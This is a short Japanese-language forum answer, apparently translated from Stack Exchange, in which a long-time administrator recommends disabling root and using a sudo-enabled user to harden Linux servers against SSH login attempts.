FWIW、私は長年(数十年?)何十ものLinuxサーバーを管理してきましたが、経験からrootを単に無効にし、Sudo権限を持つ新しいユーザーをセットアップすることがLinuxシステムを保護する最も簡単で最も基本的な方法であることを知っています。 rootを無効にすると、SSHを介していかなるタイプの侵害にも対処する必要がなくなりました。そして、はい、あなたはauth.log経由でログインしようとするかもしれませんが、それらは無意味です。 rootが無効になっている場合、それらの試行は決して合計されません。ただ座って、試行が無限に失敗するのを見てください!

6
JakeGould